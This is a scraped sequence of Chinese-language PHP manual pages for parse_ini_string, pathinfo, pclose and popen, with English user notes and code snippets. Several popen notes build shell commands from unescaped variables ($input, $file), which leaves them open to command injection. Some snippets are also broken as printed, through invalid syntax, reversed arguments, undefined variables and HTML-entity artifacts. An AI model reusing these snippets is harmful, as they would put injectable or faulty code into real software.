Warning: parse_ini_files cannot cope with values containing the equal sign (=).

The following function supports sections, comments, arrays, and key-value pairs outside of any section.
Beware that similar keys will overwrite one another (unless in different sections).

<?php
function parse_ini ( $filepath ) {
    $ini = file( $filepath );
    if ( count( $ini ) == 0 ) { return array(); }
    $sections = array();
    $values = array();
    $globals = array();
    $i = 0;
    foreach( $ini as $line ){
        $line = trim( $line );
        // Comments
        if ( $line == '' || $line{0} == ';' ) { continue; }
        // Sections
        if ( $line{0} == '[' ) {
            $sections[] = substr( $line, 1, -1 );
            $i++;
            continue;
        }
        // Key-value pair
        list( $key, $value ) = explode( '=', $line, 2 );
        $key = trim( $key );
        $value = trim( $value );
        if ( $i == 0 ) {
            // Array values
            if ( substr( $line, -1, 2 ) == '[]' ) {
                $globals[ $key ][] = $value;
            } else {
                $globals[ $key ] = $value;
            }
        } else {
            // Array values
            if ( substr( $line, -1, 2 ) == '[]' ) {
                $values[ $i - 1 ][ $key ][] = $value;
            } else {
                $values[ $i - 1 ][ $key ] = $value;
            }
        }
    }
    for( $j=0; $j<$i; $j++ ) {
        $result[ $sections[ $j ] ] = $values[ $j ];
    }
    return $result + $globals;
}
?>

Example usage:
<?php
$stores = parse_ini('stores.ini');
print_r( $stores );
?>

An example ini file:
<?php
/*
;Commented line start with ';'
global_value1 = a string value
global_value1 = another string value

; empty lines are discarded
[Section1]
key = value
; whitespace around keys and values is discarded too
otherkey=other value
otherkey=yet another value
; this key-value pair will overwrite the former.
*/
?>
Justin Hall 31-Oct-2006 11:46
This is a simple (but slightly hackish) way of avoiding the character limitations (in values):

<?php
define('QUOTE', '"');
$test = parse_ini_file('test.ini');

echo "<pre>";
print_r($test);
?>

contents of test.ini:

park yesterday = "I (walked) | {to} " QUOTE"the"QUOTE " park yesterday & saw ~three~ dogs!"

output:

<?php
Array
(
    [park yesterday] => I (walked) | {to} "the" park yesterday & saw ~three~ dogs!
)
?>
kieran dot huggins at rogers dot com 07-Jan-2003 10:24
Just a quick note for all those running into trouble escaping double quotes:

I got around this by "base64_encode()"-ing my content on the way in to the ini file, and "base64_decode()"-ing on the way out.

Because base64 uses the "=" sign, you will have to encapsulate the entire value in double quotes so the line looks like this:

    varname = "TmlhZ2FyYSBGYWxscywgT04="

When base64'd, your strings will retain all \n, \t...etc...  URL's retain everything perfectly :-)

I hope some of you find this useful!

Cheers, Kieran


解析配置字符串

  • ? parse_ini_file
  • pathinfo ?
  • PHP Manual
  • 文件系统函数
  • 解析配置字符串

parse_ini_string

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

parse_ini_string — 解析配置字符串

说明

parse_ini_string(string $ini_string, bool $process_sections = false, int $scanner_mode = INI_SCANNER_NORMAL): array|false

parse_ini_string() 返回 ini_string 字符串解析后的关联数组。

ini 字符串的格式参考 php.ini

参数

ini_string

ini 字符串内容。

process_sections

设置 process_sections 参数为 true，得到一个多维数组，包含名称和设置。process_sections 默认为 false。

scanner_mode

可以是 INI_SCANNER_NORMAL (默认)或 INI_SCANNER_RAW。如果是 INI_SCANNER_RAW，那么选项值不会被解析。

As of PHP 5.6.1 can also be specified as INI_SCANNER_TYPED. In this mode boolean, null and integer types are preserved when possible. String values "true", "on" and "yes" are converted to true. "false", "off", "no" and "none" are considered false. "null" is converted to null in typed mode. Also, all numeric strings are converted to integer type if it is possible.

返回值

执行成功返回一个关联数组，返回 false 为失败。

注释

Note: 有些保留字不能作为 ini 文件中的键名，包括：null、yes、no、true、false、on、off、none。除非使用 INI_SCANNER_TYPED 模式，否则 null、off、no 和 false 的值等效于 ""，on、yes 和 true 的值等效于 "1"。字符 ?{}|&~![()^" 也不能用在键名的任何地方，而且这些字符在选项值中有着特殊的意义。

参见

  • parse_ini_file() - 解析一个配置文件

User Contributed Notes

msegit post pl 27-Jun-2018 07:43
With function parse_ini_stringM() below you can:
- fix unvalued fields ('key' (invalid) ==> 'key=' (OK) )
- fix unquotted values with equal sign '=' ('key=value_part1=value_part2' ==> 'key="value_part1=value_part2"')
- fix (solve) multidimensional arrays (makes 'key[key1][key2]=value' valid)

function parse_ini_stringM() on github https://gist.github.com/msegu/c43a871c5a874a1d9bff978b448a0aa4 (here is too long)

// Example:

$ini = '[a]
b
c=d
e=';

var_export(parse_ini_string($ini, TRUE)); /* array (
  'a' =>
  array (
    'c' => 'd',
    'e' => '',
  ),
)
*/

$ini .= '
f[g][2]=h
f[g][i]=j
f[g][][]=k
m=n=o';

var_export(parse_ini_string($ini, TRUE)); // false

var_export(parse_ini_stringM($ini, TRUE)); /* array (
  'a' =>
  array (
    'b' => '',
    'c' => 'd',
    'e' => '',
    'f' =>
    array (
      'g' =>
      array (
        2 => 'h',
        'i' => 'j',
        3 =>
        array (
          0 => 'k',
        ),
      ),
    ),
    'm' => 'n=o',
  ),
)
*/
Peter Baylies 31-Oct-2013 07:34
Replacement for php_ini_string() for PHP pre 5.3 - uses php_ini_file() and streams

<?php
if ( !function_exists( 'parse_ini_string' ) ) {
    function parse_ini_string( $string, $process_sections ) {
        if ( !class_exists( 'parse_ini_filter' ) ) {
            /* Define our filter class */
            class parse_ini_filter extends php_user_filter {
                static $buf = '';
                function filter( $in, $out, &$consumed, $closing ) {
                    $bucket = stream_bucket_new( fopen('php://memory', 'wb'), self::$buf );
                    stream_bucket_append( $out, $bucket );
                    return PSFS_PASS_ON;
                }
            }
            /* Register our filter with PHP */
            stream_filter_register("parse_ini", "parse_ini_filter")
            or return false;
        }
        parse_ini_filter::$buf = $string;
        return parse_ini_file( "php://filter/read=parse_ini/resource=php://memory", $process_sections );
    }
}
?>
epicmaxim at gmail dot com 04-Apr-2013 07:51
parse_ini_string_m is analog for a parse_ini_string function.

had to code this function due to the lack of a php 5.3 on some hosting.

parse_ini_string_m:
- ignores commented lines that start with ";" or "#"
- ignores broken lines that do not have "="
- supports array values and array value keys

<?php
function parse_ini_string_m($str) {

    if(empty($str)) return false;

    $lines = explode("\n", $str);
    $ret = Array();
    $inside_section = false;

    foreach($lines as $line) {

        $line = trim($line);

        if(!$line || $line[0] == "#" || $line[0] == ";") continue;

        if($line[0] == "[" &amp;&amp; $endIdx = strpos($line, "]")){
            $inside_section = substr($line, 1, $endIdx-1);
            continue;
        }

        if(!strpos($line, '=')) continue;

        $tmp = explode("=", $line, 2);

        if($inside_section) {

            $key = rtrim($tmp[0]);
            $value = ltrim($tmp[1]);

            if(preg_match("/^\".*\"$/", $value) || preg_match("/^'.*'$/", $value)) {
                $value = mb_substr($value, 1, mb_strlen($value) - 2);
            }

            $t = preg_match("^\[(.*?)\]^", $key, $matches);
            if(!empty($matches) &amp;&amp; isset($matches[0])) {

                $arr_name = preg_replace('#\[(.*?)\]#is', '', $key);

                if(!isset($ret[$inside_section][$arr_name]) || !is_array($ret[$inside_section][$arr_name])) {
                    $ret[$inside_section][$arr_name] = array();
                }

                if(isset($matches[1]) &amp;&amp; !empty($matches[1])) {
                    $ret[$inside_section][$arr_name][$matches[1]] = $value;
                } else {
                    $ret[$inside_section][$arr_name][] = $value;
                }

            } else {
                $ret[$inside_section][trim($tmp[0])] = $value;
            }

        } else {

            $ret[trim($tmp[0])] = ltrim($tmp[1]);

        }
    }
    return $ret;
}
?>

example usage:

<?php
$ini = '

    [simple]
    val_one = "some value"
    val_two = 567

    [array]
    val_arr[] = "arr_elem_one"
    val_arr[] = "arr_elem_two"
    val_arr[] = "arr_elem_three"

    [array_keys]
    val_arr_two[6] = "key_6"
    val_arr_two[some_key] = "some_key_value"

';

$arr = parse_ini_string_m($ini);
?>

variable $arr output:

Array
(
    [simple] => Array
    (
        [val_one] => some value
        [val_two] => 567
    )

    [array] => Array
    (
        [val_arr] => Array
        (
            [0] => arr_elem_one
            [1] => arr_elem_two
            [2] => arr_elem_three
        )
    )

    [array_keys] => Array
    (
        [val_arr_two] => Array
        (
            [6] => key_6
            [some_key] => some_key_value
        )

    )

)


返回文件路径的信息

  • ? parse_ini_string
  • pclose ?
  • PHP Manual
  • 文件系统函数
  • 返回文件路径的信息

pathinfo

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pathinfo — 返回文件路径的信息

说明

pathinfo(string $path, int $flags = PATHINFO_ALL): array|string

pathinfo() 返回一个关联数组包含有 path 的信息。返回关联数组还是字符串取决于 flags。

Note:

有关取得当前路径信息的说明，请阅读 预定义变量 一节。

Note:

pathinfo() 纯粹基于输入字符串操作， 它不会受实际文件系统和类似 ".." 的路径格式影响。

Note:

反斜线字符 \ 仅在 Windows 系统上会解释为目录分隔符。在其他系统上，它将视为普通字符。

Caution

pathinfo() 是本地化的，所以为了让它能正确地解析一个包含多字节编码的路径， 必须使用 setlocale() 函数来设置地区信息。

参数

path

要解析的路径。

flags

如果指定了，将会返回指定元素；它们包括： PATHINFO_DIRNAME、 PATHINFO_BASENAME、 PATHINFO_EXTENSION、 PATHINFO_FILENAME。

如果没有指定 flags 默认是返回全部的单元。

返回值

如果没有传入 options ，将会返回包括以下单元的数组 array：dirname，basename 和 extension（如果有），以及filename。

Note:

如果 path 有一个以上的扩展名， PATHINFO_EXTENSION 只返回最后一个，而 PATHINFO_FILENAME 仅剥离最后一个。 （参考第一个示例）。

Note:

如果 path 没有扩展名，返回数据中就不会有 extension 元素。（参考第二个示例）

Note:

如果 path 中的 basename 以点开始， 那后面的字符串将被解释为 extension ， 并且 filename 为空。（参考第三个示例）

如果 flags 存在的， 则返回一个包含请求元素的 string。

示例

Example #1 pathinfo() 例子

<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n";
?>

以上示例会输出：

/www/htdocs/inc
lib.inc.php
php
lib.inc

Example #2 pathinfo() 对比空扩展名和无扩展名之间区别的示例

<?php
$path_parts = pathinfo('/path/emptyextension.');
var_dump($path_parts['extension']);

$path_parts = pathinfo('/path/noextension');
var_dump($path_parts['extension']);
?>

以上示例的输出类似于：

string(0) ""

Notice: Undefined index: extension in test.php on line 6
NULL

Example #3 pathinfo() 形如 .file 的示例

<?php
print_r(pathinfo('/some/path/.test'));
?>

以上示例的输出类似于：

Array
(
    [dirname] => /some/path
    [basename] => .test
    [extension] => test
    [filename] =>
)

Example #4 pathinfo() 示例和解除数组引用

flags 参数不是位掩码。只能提供单个值。要是只选择某些格式化值，请使用数组解构，如下所示：

<?php
['basename' => $basename, 'dirname' => $dirname] = pathinfo('/www/htdocs/inc/lib.inc.php');

var_dump($basename, $dirname);
?>

以上示例的输出类似于：

string(11) "lib.inc.php"
string(15) "/www/htdocs/inc"

参见

  • dirname() - 返回路径中的目录部分
  • basename() - 返回路径中的文件名部分
  • parse_url() - 解析 URL，返回其组成部分
  • realpath() - 返回规范化的绝对路径名

User Contributed Notes

urvi 29-Jul-2022 11:05
about the path, there are one thing you should note :
On Windows, both slash (/) and backslash (\) are used as directory separator character. In other environments, it is the forward slash (/).  (this explain is from basename() function part https://www.php.net/manual/en/function.basename.php)
example:
<?php
$path = "https://urvidutta.com /a\b\c\filename.pdf";

echo pathinfo($pdfUrl, PATHINFO_BASENAME);  //get basename
//output
//on window:  result is filename.pdf
//on Linux: result is a\b\c\filename.pdf (that is may not your expect)

//so in order to get same result in different system.  i will do below first.
$path = str_replace($path, '\\', '/'); //convert '\'  to '/'
?>
Lori 21-Sep-2018 01:40
Simple example of pathinfo and array destructuring in PHP 7:
<?php
[ 'basename' => $basename, 'dirname' => $dirname ] = pathinfo('/www/htdocs/inc/lib.inc.php');

var_dump($basename, $dirname);

// result:
// string(11) "lib.inc.php"
// string(15) "/www/htdocs/inc"
?>
Pietro Baricco 10-Feb-2012 04:00
Use this function in place of pathinfo to make it work with UTF-8 encoded file names too

<?php
function mb_pathinfo($filepath) {
    preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im',$filepath,$m);
    if($m[1]) $ret['dirname']=$m[1];
    if($m[2]) $ret['basename']=$m[2];
    if($m[5]) $ret['extension']=$m[5];
    if($m[3]) $ret['filename']=$m[3];
    return $ret;
}
?>
n0dalus 08-Feb-2005 01:47
If a file has more than one 'file extension' (seperated by periods), the last one will be returned.
For example:
<?php
$pathinfo = pathinfo('/dir/test.tar.gz');
echo 'Extension: '.$pathinfo['extension'];
?>
will produce:
Extension: gz

and not tar.gz


关闭进程文件指针

  • ? pathinfo
  • popen ?
  • PHP Manual
  • 文件系统函数
  • 关闭进程文件指针

pclose

(PHP 4, PHP 5, PHP 7, PHP 8)

pclose — 关闭进程文件指针

说明

pclose(resource $handle): int

关闭用 popen() 打开的指向管道的文件指针。

参数

handle

文件指针必须有效，且必须是成功调用 popen() 所返回的。

返回值

返回运行的进程的终止状态。发生错误时会返回 -1。

Note:

如果 PHP 是通过 --enable-sigchild 编译的，此函数将没有返回值。

示例

Example #1 pclose() 例子

<?php
$handle = popen('/bin/ls', 'r');
pclose($handle);
?>

注释

Note: 仅限 Unix

pclose() 在内部使用 waitpid(3) 系统调用实现的。要获得真正的退出状态码，应该使用 pcntl_wexitstatus() 函数。

参见

  • popen() - 打开进程文件指针

User Contributed Notes

Uwe Ohse 03-Sep-2015 11:17
Regarding the return value:
"Returns the termination status of the process that was run. In case of an error then -1 is returned. "
and the note about the exit status: "pclose() is internally implemented using the waitpid(3) system call. To obtain the real exit status code the pcntl_wexitstatus() function should be used."

The documentation of the return value is, at best, misleading. The function returns, as does proc_close():
* -1 on error,
* WEXITSTATUS(status) if WIFEXITED(status) is true, or
* status if WIFEXITED(status) is false,
where status is the status parameter of waitpid().

This makes it impossible to differentiate between a relatively normal exit or a termination by signal, and reduces the value of the proc_close return code to a binary one (ok / something broke).

This can be seen in proc_open_rsrc_dtor() in ext/standard/proc_open.c (PHP 5.4.44, 5.6.12).

The note advising the use of pcntl_wexitstatus is plain wrong. One cannot use pcntl_wexitstatus because it already has been used.
Mike 06-Apr-2008 11:55
The termination status, as pointed out in another note, is not the same as the exit status from the process. However, something like "pclose($fp)/256" is not the correct way to extract the exit status, since this uses system- and version-specific knowledge of where in the termination status the exit status is stored. (Also, the process may not even have exited normally, so it may not have an exit status at all.)

Instead, the functions pcntl_wifexited() and pcntl_wexitstatus() should be used. They are wrappers for the C macros WIFEXITED() and WEXITSTATUS() that are designed for determining whether the process had an exit status and what that status was, respectively.
kcross at nssolutions dot com 16-Jul-2003 02:08
Somewhere between 4.1.1 and 4.2.3, the return value from pclose changed.

The exit status used to be in the second byte, so that the status would be (pclose($fp)/256).

It is now in the low-order byte, so the status is just pclose($fp).

Be careful.
vdweij at mailsurf dot com 12-Mar-2003 07:18
As I understand pclose will return 0 (on every platform) in case popen could not execute the specified command.

Since popen only returns the status wether it was able to send a command and not wether it was succesfully executed. Only the returned value of pclose can be used to check wether a command could be executed.


打开进程文件指针

  • ? pclose
  • readfile ?
  • PHP Manual
  • 文件系统函数
  • 打开进程文件指针

popen

(PHP 4, PHP 5, PHP 7, PHP 8)

popen — 打开进程文件指针

说明

popen(string $command, string $mode): resource|false

打开一个指向进程的管道，该进程由派生给定的 command 命令执行而产生。

参数

command

命令。

mode

模式。'r' 表示阅读，'w' 表示写入。

在 Windows 上，popen() 默认是文本模式，即任何从管道中读取/写入的 \n 字符都将转换为 \r\n。如果避免这种情况，可以通过将 mode 设置为 'rb' 和 'wb' 来强制执行二进制模式。

返回值

返回一个和 fopen()
所返回的相同的文件指针，只不过它是单向的（只能用于读或写）并且必须用
pclose() 来关闭。此指针可以用于
fgets()，fgetss() 和
fwrite()。
当模式为 'r'，返回的文件指针等于命令的 STDOUT，当模式为 'w'，返回的文件指针等于命令的 STDIN。

如果出错返回 false。

示例

Example #1 popen() 例子

<?php
$handle = popen("/bin/ls", "r");
?>

如果未找到要执行的命令，会返回一个合法的资源。这看上去很怪，但有道理。它允许访问 shell 返回的任何错误信息：

Example #2 popen() 例子

<?php
error_reporting(E_ALL);

/* 加入重定向以得到标准错误输出 stderr。 */
$handle = popen('/path/to/executable 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

注释

Note:

如果需要双向支持，使用 proc_open()。

参见

  • pclose() - 关闭进程文件指针
  • fopen() - 打开文件或者 URL
  • proc_open() - 执行一个命令，并且打开用来输入/输出的文件指针。

User Contributed Notes

antman3351 17-Sep-2021 09:20
Note for Windows users using popen with start to run an external script without having php wait.

e.g.:
pclose( popen(  'start /b php someLongScript.php *> nul', 'rb' ) );

If start can't find the exe it will open a popup message and pclose hangs until the popup is closed.
erco at seriss dot com 01-Oct-2018 10:21
Another workaround for using popen() with "w" mode so that the stdout of the command reaches the browser:

An easy solution is to have two php scripts; "real.php" with the popen($cmd, "w") command in it, the other being "wrapper.php", a one liner that simply invokes system("php real.php");

Invoking "wrapper.php" from the browser allows the popen($cmd,"w") in "real.php" to work as expected, such that stdout of $cmd reaches the browser. If you try to skip the wrapper and just run "real.php", stdout of $cmd is lost to /dev/null.
jlh 10-Aug-2016 07:20
Don't expect this function to return false when the executable doesn't exist in the first place. A stream will be opened anyway but nothing can be read from it. An error similar to "sh: 1: asdfasdfasdf: not found" will be printed to STDERR.

Solution 1: Look at the return value of pclose(), it will be the exit status of the shell that runs the command. On Linux it will be 127 if the executable wasn't found. Otherwise it's the exit status of the executable itself.

Solution 2: Use proc_open() instead, which allows to also capture STDERR and then parse it for errors.

You probably should do both.
anonymous at anon dot com 25-Mar-2015 10:28
As a side note to the code provided by anonymous at anon dot com:

  $cmd = "php longscript.php";

  function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    } else {
        exec($cmd . " > /dev/null &");
    }
  }

I had a problem where Windows would close the call too fast before the entire script was interpreted, but I didn't want my main script to hang until it would be fully loaded.

As a workaround, I called a tiny .php script which would then call the larger script.

myfile.php:
<?php
  $cmd = "php timewrapper.php";

  function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    } else {
        exec($cmd . " > /dev/null &");
    }
  }
?>

timewrapper.php:
<?php
  $cmd = "php longscript.php";
  $timer = popen("start /B ". $cmd, "r");
  sleep(30);
  pclose($timer);
?>

This way my main script would continue to run without having to pause, while the tiny script pauses while it loads the larger file.
anonymous at anon dot com 08-Feb-2011 01:39
If, on windows, you need to start a batch file that needs administrator privileges, then you can make a shortcut to the batch file, click properties, check to on "run as administrator" on one of the property pages, and then double-click the shortcut once (to initialize that "run as administrator" business).

using popen("/path/to/shortcut.lnk") will then run your batch file with administrator privileges.

handy for when you want to use cli php to do some long running tasks and that php-cli needs to use sessions..
mrjake2 06-Sep-2010 04:08
If you are running in a chroot'ed environment on Debian "Squeeze", this command won't work; there is a problem with the kernel code that popen() eventually calls.

Note that pecl makes heavy use of this command, so if you are running in this environment you will need to install the pecl extension from source instead.
hacklor [AT] NOSPAM [DOT] com 19-Apr-2010 09:03
There is a simple way to start a process in the background but still find out what the process result is. I combined the information from some users below with some of my own coming up with the following:

<?php
$bat_filename = "C:\\my_bat_file.bat";
$bat_log_filename = "C:\\my_bat_file_bat.log";
$bat_file = fopen($bat_filename, "w");
if($bat_file) {
    fwrite($bat_file, "@echo off"."\n");
    fwrite($bat_file, "echo Starting proces >> ".$bat_log_filename."\n");
    fwrite($bat_file, "php c:\\my_php_process.php >> ".$bat_log_filename."\n");
    fwrite($bat_file, "echo End proces >> ".$bat_log_filename."\n");
    fwrite($bat_file, "EXIT"."\n");
    fclose($bat_file);
}

//
// Start the process in the background
//
$exe = "start /b ".$bat_filename;
if( pclose(popen($exe, 'r')) ) {
    return true;
}
return false;
?>

In my case the file names of the .bat and .log files weren't always the same, so I needed a dynamic way to create the .bat file. The output from the php command is saved to the log file with the >> command. All prints and errors are stored there. At a later time you can open the log file and see what happened.
php at keithtyler dot net 20-Jan-2010 06:26
Note that you *have* to do a read on the handle before you can feof(), even if the command outputs nothing! So..

<?php
$f=popen("sleep 2","r");
while (!feof($f)) {}
pclose($f);
print "done";
?>

will never finish.
webmaster at php-idee dot de 23-Jul-2009 06:36
If you try to execute a command under Windows the PHP script normally waits until the process has been terminated. Executing long-term processes pauses a PHP script even if you don't want to wait for the end of the process.

It wasn't easy to find this beautiful example how to start a process under Windows without waiting for its termination:

<?php
$commandString = 'start /b c:\\programToRun.exe -attachment "c:\\temp\file1.txt"';
pclose(popen($commandString, 'r'));
?>
Marbug at gmail dot com 03-Feb-2009 03:43
If you want to download files from a linux server with a filesize bigger than 2GB you can use the following:

<?php
function serveFile( $file , $as ){
    header( 'Expires: Mon, 1 Apr 1974 05:00:00 GMT' );
    header( 'Pragma: no-cache' );
    header( 'Cache-Control: must-revalidate, post-check=0, pre-check=0' );
    header( 'Content-Description: File Download' );
    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Length: '.trim(`stat -c%s "$file"`) );
    header( 'Content-Disposition: attachment; filename="'. $as .'"' );
    header( 'Content-Transfer-Encoding: binary' );
    //@readfile( $file );

    flush();
    $fp = popen("tail -c ".trim(`stat -c%s "$file"`)." ".$file.' 2>&1', "r");
    while(!feof($fp))
    {
        // send the current file part to the browser
        print fread($fp, 1024);
        // flush the content to the browser
        flush();
    }
    fclose($fp);
}
?>
rockytriton 10-Sep-2007 11:25
Note, when using this with a batch file in windows, you must put an "exit" at the end of your batch file or you will get a new cmd.exe stuck in your process list every time you execute the page.
betchern0t 13-Apr-2007 09:42
Care needs to be taken in the case of long running child processes. Say you want to run tail -f /var/log/messages or in my case burn dvds. If you have a busy wait, Apache2 can sit towards 100%cpu and steadily grow memory. In my case I crashed the server after about an hour and 90% of the dvd burned. During that time apache had consumed a gig of swap.

Offending code - don't copy:

<?php
        $ThisCommand = sprintf("%s %s",COMMAND,$ThisFile);
        $fp=popen($ThisCommand,"r");
        while (!feof($fp)) {
                set_time_limit (20);
                $results = fgets($fp, 4096);
                if (strlen($results) == 0) {
                   // stop the browser timing out
                   echo " ";
                   flush();
                } else {
                   $tok = strtok($results, "\n");
                   while ($tok !== false) {
                        echo htmlentities(sprintf("%s\n",$tok))."<br/>";
                        flush();
                        $tok = strtok("\n");
                   }
                }
        }
        pclose($fp);
?>

to go from zero memory and 100% cpu  to negligible memory and negligible cpu add a sleep.

<?php
        while (!feof($fp)) {
                set_time_limit (20);
                $results = fgets($fp, 256);
                if (strlen($results) == 0) {
                   // stop the browser timing out
                   echo " ";
                   flush();
                } else {
                   $tok = strtok($results, "\n");
                   while ($tok !== false) {
                        echo htmlentities(sprintf("%s\n",$tok))."<br/>";
                        flush();
                        $tok = strtok("\n");
                   }
                }
                // avoid a busy wait
                sleep(1);

        }
?>

I think the continued banging of the space to keep the browser awake triggered some issues in apache.
don at digithink dot com 19-Dec-2005 04:28
<?php
// The above import function can be easily extended using
// /usr/local/bin/xls2csv (part of catdoc ) and popen
// to read excell files directly.
// In our particular application the first line was the file heading.
function importxls($file,$head=true,$throwfirst=true,$delim=",",$len=1000) {
   $return = false;
   $handle = popen("/usr/local/bin/xls2csv $file", "r");
// or die if not there.
   if ($throwfirst) {
       $throw = fgetcsv($handle, $len, $delim);
   }
   if ($head) {
       $header = fgetcsv($handle, $len, $delim);
   }
   while (($data = fgetcsv($handle, $len, $delim)) !== FALSE) {
       if ($head AND isset($header)) {
           foreach ($header as $key=>$heading) {
               $row[$heading]=(isset($data[$key])) ? $data[$key] : '';
               print "<li>". $heading ."=>" . $row[$heading]."</li>";
           }
           $return[]=$row;
       } else {
           $return[]=$data;
       }
   }
   fclose($handle);
   return $return;
}
?>
rjl at xs4all dot nl 23-Nov-2005 01:16
Truncated output from ps command?

The solution lies in the way ps displays it's info
specifically the -w option which:
'uses 132 columns to display information,
instead of the default which is your window size.'....
somehow with fgets in php that results in 74 characters
regardless off the init length parameter

a bit of code:

<?php
echo '<table width="99%"><tr><td>cron</td></tr>' . "\n";
$fp=popen("/bin/ps -waux","r");
while (!feof($fp)) {
    $buffer = fgets($fp, 4096);
    $croninf .= '<tr><td>' . $buffer . '</td></tr>' . "\n";
}
pclose($fp);
echo $croninf;
echo '</table><br><br>' . "\n";
?>

Ciao,

Rene =<>=
Cride5 08-Sep-2005 05:39
Here is a nice little script for monitoring your http access log.

<?php

$handle = popen("tail -f /etc/httpd/logs/access.log 2>&1", 'r');
while(!feof($handle)) {
    $buffer = fgets($handle);
    echo "$buffer<br/>\n";
    ob_flush();
    flush();
}
pclose($handle);

?>

----
www.eviltree.co.uk
www.solidsites.co.uk
www.mongbong.com
atampone at NOSPAMFORME dot trdsupra dot com 20-Jun-2005 06:26
If you want to fork a process under windows, this is the function to use.  I created a batch file called runcmd.bat with the following line

start %1 %2 %3 %4

then I have the folowing function

<?php
define('RUNCMDPATH', 'c:\\htdocs\\nonwebspace\\runcmd.bat');

function runCmd($cmd) {
    $externalProcess=popen(RUNCMDPATH.' '.$cmd, 'r');
    pclose($externalProcess);
}
?>

with this, doing something like

<?php runCmd('php.exe printWorkOrder.php 3498'); ?>
will launch php.exe outside of apache and allow the script calling the runCmd() function to continue without waiting for the command line process to return.  The process will run under the same user account that Apache (or whatever webserver you're running) is running under, so make sure it has permissions to do whatever you need to do.  Also, make sure that the batch file has enough %n s in order to pass all the command line variables that you might need to pass.

Special thanks to kicken from the devshed forums for coming up with the idea.
PGP Dude 06-May-2005 12:30
I should say, my host uses a modified form of safe mode, so I don't know if that might have caused a problem with "popen" as opposed to "proc_open".  With safe mode enabled, all words following the initial command string are treated as a single argument. Thus, echo y | echo x becomes echo "y | echo x".  [Because of this,] LinixDude010's srcipt did not work for me.  Seems wrong to read and write with popen, according to the manual.

The script produced pgp text, but there was something wrong with the text and I could not decode it.

This replacement script, using proc_open, which can read and write, DOES work:

<?php
function pgp_encrypt($keyring_location, $public_key_id, $plain_text) {
  $encrypted_text='';
  $key_id = EscapeShellArg($public_key_id);
  putenv("PGPPATH=$keyring_location");

  // encrypt the message
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin
    1 => array("pipe", "w"),  // stdout
    2 => array("pipe", "w")   // stderr ?? instead of a file
  );
  $process = proc_open("pgpe -r $key_id -af", $descriptorspec, $pipes);
  if (is_resource($process)) {
    fwrite($pipes[0], $plain_text);
    fclose($pipes[0]);
    while($s= fgets($pipes[1], 1024)) {
          // read from the pipe
          $encrypted_text .= $s;
    }
    fclose($pipes[1]);
    // optional:
    while($s= fgets($pipes[2], 1024)) {
      $encrypted_text.= "\n<p>Error: $s</p>\n";
    }
    fclose($pipes[2]);
  }
  return $encrypted_text;
}

$message = pgp_encrypt("/home/username/.pgp", "to@domain.com", "dummy text to be encrypted");
print nl2br($message);

?>
Michel Machado 06-Mar-2004 05:53
Yet another workaround for not having bidirectional pipes in php.

<?php
$Cmd =
"bc 2>&1 << END\n" .
"100+221\n" .
"1+3*3\n" .
"quit\n" .
"END\n";

$fp = popen($Cmd, 'r');
$read = fread($fp, 1024);
echo $read;
pclose($fp);
?>
http://vmlinuz.nl/about/contact/ 11-Nov-2002 08:58
From the popen linux programmers manual:

"The  command  argument  is  a pointer to a null-terminated string containing a shell command line.  This  command  is passed  to  /bin/sh  using the -c flag."

Since php uses this popen function, you need to be sure /bin/sh exists. This file may not exist in chroot()ed environments.
ajv-php at erkle dot org 08-Aug-2002 11:02
I noticed that some of the examples above seem to advocate passing unencrypted data to gpg via the pipe shell escape, in the absence of a bi-directional popen (on some OSes).

The approach I've taken is similar to:

<?php
  $prefix = 'example';
  $command = '/usr/local/bin/gpg --encrypt --armor --no-tty --batch --no-secmem-warning --recipient "joe.soap@example.com"';
  $tmpfile = tempnam('/tmp', $prefix);
  $pipe = popen("$command 2>&1 >$tmpfile", 'w');
  if (!$pipe) {
    unlink($tmpfile);
  } else {
    fwrite($pipe, $plaintxt, strlen($plaintxt));
    pclose($pipe);
    $fd = fopen($tmpfile, "rb");
    $output = fread($fd, filesize($tmpfile));
    fclose($fd);
    unlink($tmpfile);
  }
  return $output;
?>

This means that unencrypted information is not passed via a (potentially readable) shell command, and only encrypted information gets stored on disc.
12-Jul-2002 02:33
Here is a workaround for not having bidirectional pipes in php.

If you have bidirectional pipe support, don't bother with this.

The trick here is to send the input on the command line to the target application.  In particular I wanted to use openssl without using temp files or named pipes.  This solution should also be thread/process safe.

This does work on Linux (RedHat 7).

<?php
function filterThroughCmd($input, $commandLine) {
  $pipe = popen("echo \"$input\"|$commandLine" , 'r');
  if (!$pipe) {
    print "pipe failed.";
    return "";
  }
  $output = '';
  while(!feof($pipe)) {
    $output .= fread($pipe, 1024);
  }
  pclose($pipe);
  return $output;
}

# example:
print filterThroughCmd("hello", "cat");
# Piping to cat has the effect of echoing your input.
?>
cyberlot at cyberlot dot net 30-Jun-2002 01:29
The below code works for both way processing ;) Have fun folks

<?php
    system("mkfifo pipeout");
   $pipe = popen("./nwserver -module Chapter1E > pipeout","w");
   $pipeout = fopen("pipeout", "r");
   while ($s = fgets($pipeout,1024)) {
    echo $s;
   }

?>
linuxdude010 at yahoo dot com 24-May-2002 11:49
I had all kinds of trouble encrypting a message with PGP, but I finanlly got it to work.  The trick was to 'chmod o+r pubring.pkr' so that the apache server could read the public keys!!!  Then, this function worked fine:

<?PHP
function pgp_encrypt($keyring_location, $public_key_id, $plain_text) {

        $key_id = EscapeShellArg($public_key_id);
        putenv("PGPPATH=$keyring_location");

        // encrypt the message
        $pipe = popen("pgpe -r $key_id -af", "r");
        fwrite($pipe, $plain_text);
        $encrypted_text = '';
        while($s = fgets($pipe, 1024)) {
                // read from the pipe
                $encrypted_text .= $s;
        }
        pclose($pipe);

        return $encrypted_text;
}

